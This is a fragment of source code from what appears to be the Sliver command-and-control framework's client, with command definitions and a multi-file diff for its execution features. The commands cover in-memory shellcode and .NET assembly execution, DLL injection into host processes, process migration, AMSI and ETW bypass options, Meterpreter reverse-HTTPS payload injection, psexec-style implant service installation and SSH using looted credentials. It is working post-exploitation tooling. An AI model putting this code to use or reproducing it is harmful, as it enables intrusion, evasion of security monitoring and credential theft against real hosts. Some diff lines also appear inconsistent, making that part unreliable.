ExecuteCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
}
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", false, "capture command output")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
executeAssemblyCmd := &cobra.Command{
Use: consts.ExecuteAssemblyStr,
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ExecuteAssemblyCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, executeAssemblyCmd, func(f *pflag.FlagSet) {
f.StringP("process", "p", "notepad.exe", "hosting process to inject into")
f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("save", "s", false, "save output to file")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional)")
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
executeShellcodeCmd := &cobra.Command{
Use: consts.ExecuteShellcodeStr,
Short: "Executes the given shellcode in the sliver process",
Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ExecuteShellcodeCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
}
flags.Bind("", false, executeShellcodeCmd, func(f *pflag.FlagSet) {
f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages")
f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.BoolP("interactive", "i", false, "Inject into a new process and interact with it")
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(executeShellcodeCmd, func(comp *carapace.ActionMap) {
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
})
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
sideloadCmd := &cobra.Command{
Use: consts.SideloadStr,
Short: "Load and execute a shared object (shared library/DLL) in a remote process",
Long: help.GetHelpFor([]string{consts.SideloadStr}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
SideloadCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
}
flags.Bind("", false, sideloadCmd, func(f *pflag.FlagSet) {
f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)")
f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
f.BoolP("save", "s", false, "save output to file")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes")
f.Uint32P("ppid", "P", 0, "parent process id (optional)")
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
spawnDllCmd := &cobra.Command{
Use: consts.SpawnDllStr,
Short: "Load and execute a Reflective DLL in a remote process",
Long: help.GetHelpFor([]string{consts.SpawnDllStr}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
SpawnDllCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, spawnDllCmd, func(f *pflag.FlagSet) {
f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.BoolP("save", "s", false, "save output to file")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes")
f.UintP("ppid", "P", 0, "parent process id (optional)")
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
migrateCmd := &cobra.Command{
Use: consts.MigrateStr,
Short: "Migrate into a remote process",
Long: help.GetHelpFor([]string{consts.MigrateStr}),
Run: func(cmd *cobra.Command, args []string) {
MigrateCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
f.Uint32P("pid", "p", 0, "process id to migrate into")
f.StringP("process-name", "n", "", "name of the process to migrate into")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
msfCmd := &cobra.Command{
Use: consts.MsfStr,
Short: "Execute an MSF payload in the current process",
Long: help.GetHelpFor([]string{consts.MsfStr}),
Run: func(cmd *cobra.Command, args []string) {
MsfCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
}
flags.Bind("", false, msfCmd, func(f *pflag.FlagSet) {
f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload")
f.StringP("lhost", "L", "", "listen host")
f.IntP("lport", "l", 4444, "listen port")
f.StringP("encoder", "e", "", "msf encoder")
f.IntP("iterations", "i", 1, "iterations of the encoder")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
msfInjectCmd := &cobra.Command{
Use: consts.MsfInjectStr,
Short: "Inject an MSF payload into a process",
Long: help.GetHelpFor([]string{consts.MsfInjectStr}),
Run: func(cmd *cobra.Command, args []string) {
MsfInjectCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
}
flags.Bind("", false, msfInjectCmd, func(f *pflag.FlagSet) {
f.IntP("pid", "p", -1, "pid to inject into")
f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload")
f.StringP("lhost", "L", "", "listen host")
f.IntP("lport", "l", 4444, "listen port")
f.StringP("encoder", "e", "", "msf encoder")
f.IntP("iterations", "i", 1, "iterations of the encoder")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
psExecCmd := &cobra.Command{
Use: consts.PsExecStr,
Short: "Start a sliver service on a remote target",
Long: help.GetHelpFor([]string{consts.PsExecStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
PsExecCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, psExecCmd, func(f *pflag.FlagSet) {
f.StringP("service-name", "s", "Sliver", "name that will be used to register the service")
f.StringP("service-description", "d", "Sliver implant", "description of the service")
f.StringP("profile", "p", "", "profile to use for service binary")
f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded")
f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(psExecCmd, func(comp *carapace.ActionMap) {
(*comp)["custom-exe"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
sshCmd := &cobra.Command{
Use: consts.SSHStr,
Short: "Run a SSH command on a remote host",
Long: help.GetHelpFor([]string{consts.SSHStr}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
SSHCmd(cmd, con, args)
},
GroupID: consts.ExecutionHelpGroup,
}
flags.Bind("", false, sshCmd, func(f *pflag.FlagSet) {
f.UintP("port", "p", 22, "SSH port")
f.StringP("private-key", "i", "", "path to private key file")
f.StringP("password", "P", "", "SSH user password")
f.StringP("login", "l", "", "username to use to connect")
f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials")
f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file")
f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file")
f.StringP("kerberos-realm", "r", "", "Kerberos realm")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
flags.BindFlagCompletions(sshCmd, func(comp *carapace.ActionMap) {
(*comp)["private-key"] = carapace.ActionFiles()
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
})
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
return []*cobra.Command{executeCmd, executeAssemblyCmd, executeShellcodeCmd, sideloadCmd, spawnDllCmd, migrateCmd, msfCmd, msfInjectCmd, psExecCmd, sshCmd}
}
+7 -6
View File
@@ -25,15 +25,16 @@ import (
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory. // ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -95,7 +96,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL, IsDLL: isDLL,
Process: process, Process: process,
Arguments: assemblyArgs, Arguments: assemblyArgsStr,
Assembly: assemblyBytes, Assembly: assemblyBytes,
Arch: arch, Arch: arch,
Method: method, Method: method,
@@ -131,7 +132,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
} }
} }
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot") saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name") lootName, _ := cmd.Flags().GetString("name")
+10 -8
View File
@@ -26,17 +26,19 @@ import (
"log" "log"
"os" "os"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
) )
// ExecuteShellcodeCmd - Execute shellcode in-memory. // ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -126,8 +128,8 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
} }
} }
// PrintExecuteShellcode - Display result of shellcode execution. // PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) { func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" { if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr()) con.PrintErrorf("%s\n", task.Response.GetErr())
} else { } else {
@@ -135,7 +137,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
} }
} }
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) { func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session // Check active session
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
+14 -12
View File
@@ -23,16 +23,18 @@ import (
"strings" "strings"
"time" "time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// ExecuteCmd - Run a command on the remote system. // ExecuteCmd - Run a command on the remote system
func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -64,7 +66,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
ctrl := make(chan bool) ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl) con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || hidden || ppid != 0 { if token || hidden || ppid != 0 {
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") { if session.OS != "windows" {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS) con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return return
} }
@@ -111,7 +113,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
var lootedOutput []byte var lootedOutput []byte
stdout, _ := cmd.Flags().GetString("stdout") stdout, _ := cmd.Flags().GetString("stdout")
saveLoot, _ := cmd.Flags().GetBool("loot") saveLoot, _ := cmd.Flags().GetBool("loot")
@@ -134,8 +136,8 @@ func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName stri
PrintExecute(exec, cmd, con) PrintExecute(exec, cmd, con)
} }
// PrintExecute - Print the output of an executed command. // PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) { func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr") ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
stdout, _ := cmd.Flags().GetString("stdout") stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr") stderr, _ := cmd.Flags().GetString("stderr")
@@ -208,7 +210,7 @@ func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStd
return []byte(outputString) return []byte(outputString)
} }
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverClient) { func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 { if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n") con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return return
@@ -227,7 +229,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
loot.SendLootMessage(lootMessage, con) loot.SendLootMessage(lootMessage, con)
} }
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverClient) { func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput) con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput { if saveOutput {
@@ -235,7 +237,7 @@ func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName s
} }
} }
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverClient) { func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File var outFilePath *os.File
var err error var err error
@@ -256,7 +258,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
} }
if outFilePath != nil { if outFilePath != nil {
outFilePath.WriteString(executionOutput) outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
} }
} }
+38 -64
View File
@@ -21,19 +21,19 @@ package exec
import ( import (
"context" "context"
"fmt" "fmt"
"strings"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
) )
// MigrateCmd - Windows only, inject an implant into another process // MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session := con.ActiveTarget.GetSession()
if session == nil && beacon == nil { if session == nil {
return return
} }
@@ -43,47 +43,44 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Error: Must specify either a PID or process name\n") con.PrintErrorf("Error: Must specify either a PID or process name\n")
return return
} }
if procName != "" {
var config *clientpb.ImplantConfig procCtrl := make(chan bool)
var implantName string con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
if session != nil { Request: con.ActiveTarget.Request(cmd),
config = con.GetActiveSessionConfig() })
implantName = session.Name if err != nil {
} else { con.PrintErrorf("Error: %v\n", err)
config = con.GetActiveBeaconConfig() return
implantName = beacon.Name }
procCtrl <- true
<-procCtrl
for _, p := range proc.GetProcesses() {
if strings.EqualFold(p.Executable, procName) {
pid = uint32(p.Pid)
break
}
}
if pid == 0 {
con.PrintErrorf("Error: Could not find process %s\n", procName)
return
}
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
} }
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn { if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE encoder = clientpb.ShellcodeEncoder_NONE
} }
ctrl := make(chan bool) ctrl := make(chan bool)
if pid != 0 { con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
} else {
con.SpinUntil(fmt.Sprintf("Migrating into %s...", procName), ctrl)
}
/* If the HTTP C2 Config name is not defined, then put in the default value
This will have no effect on implants that do not use HTTP C2
Also this should be overridden when the build info is pulled from the
database, but if there is no build info and we have to create the build
from scratch, we need to have something in here.
*/
if config.HTTPC2ConfigName == "" {
config.HTTPC2ConfigName = consts.DefaultC2Profile
}
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{ migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: pid, Pid: pid,
Config: config, Config: config,
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Encoder: encoder, Encoder: encoder,
Name: implantName,
ProcName: procName,
}) })
ctrl <- true ctrl <- true
<-ctrl <-ctrl
@@ -91,32 +88,9 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Error: %v", err) con.PrintErrorf("Error: %v", err)
return return
} }
if migrate.Response != nil && migrate.Response.Async { if !migrate.Success {
con.AddBeaconCallback(migrate.Response.TaskID, func(task *clientpb.BeaconTask) { con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
err = proto.Unmarshal(task.Response, migrate) return
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
if !migrate.Success {
if migrate.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
} else {
con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
}
return
}
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
})
con.PrintAsyncResponse(migrate.Response)
} else {
if !migrate.Success {
if migrate.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
} else {
con.PrintErrorf("Could not migrate into a new process. Check the PID or name.")
}
return
}
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
} }
con.PrintInfof("Successfully migrated to %d\n", pid)
} }
+9 -7
View File
@@ -22,16 +22,18 @@ import (
"context" "context"
"fmt" "fmt"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants" consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// MsfInjectCmd - Inject a metasploit payload into a remote process. // MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -49,7 +51,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return return
} }
if pid == -1 { if pid == -1 {
con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr) con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return return
} }
var goos string var goos string
@@ -97,8 +99,8 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
} }
// PrintMsfRemote - Print the results of the remote injection attempt. // PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) { func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil { if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task") con.PrintErrorf("Empty response from msf payload injection task")
return return
+6 -4
View File
@@ -22,15 +22,17 @@ import (
"context" "context"
"fmt" "fmt"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants" consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// MsfCmd - Inject a metasploit payload into the current remote process. // MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
+5 -3
View File
@@ -21,11 +21,14 @@ package exec
import ( import (
"context" "context"
"fmt" "fmt"
insecureRand "math/rand"
"os" "os"
"strings" "strings"
"time" "time"
insecureRand "math/rand"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
@@ -33,11 +36,10 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders" "github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
) )
// PsExecCmd - psexec command implementation. // PsExecCmd - psexec command implementation.
func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
+9 -15
View File
@@ -25,30 +25,24 @@ import (
"path/filepath" "path/filepath"
"strings" "strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// SideloadCmd - Sideload a shared library on the remote system. // SideloadCmd - Sideload a shared library on the remote system
